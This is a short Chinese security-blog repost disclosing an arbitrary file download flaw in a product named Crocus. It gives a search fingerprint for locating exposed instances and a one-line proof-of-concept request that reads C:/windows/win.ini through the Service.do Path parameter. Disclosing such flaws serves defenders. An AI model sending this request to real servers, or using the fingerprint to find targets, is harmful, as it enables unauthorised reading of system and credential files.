Crocus存在Service.do任意文件下载漏洞

admin 2024年7月4日10:40:27评论16 views字数 361阅读1分12秒阅读模式
免责声明

  1. 本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。
  2. 任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
  3. 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
  4. 使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
1
漏洞描述
Crocus存在Service.do任意文件下载漏洞

2
漏洞复现
首页

Crocus存在Service.do任意文件下载漏洞

GET方式访问

Crocus存在Service.do任意文件下载漏洞

3
网络测绘
body="inp_verification"

4
漏洞POC
地址/Service.do?Action=Download&Path=C:/windows/win.ini

原文始发于微信公众号(我吃饼干):【未公开】Crocus存在Service.do任意文件下载漏洞

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日10:40:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Crocus存在Service.do任意文件下载漏洞https://cn-sec.com/archives/2917575.html

发表评论

匿名网友 填写信息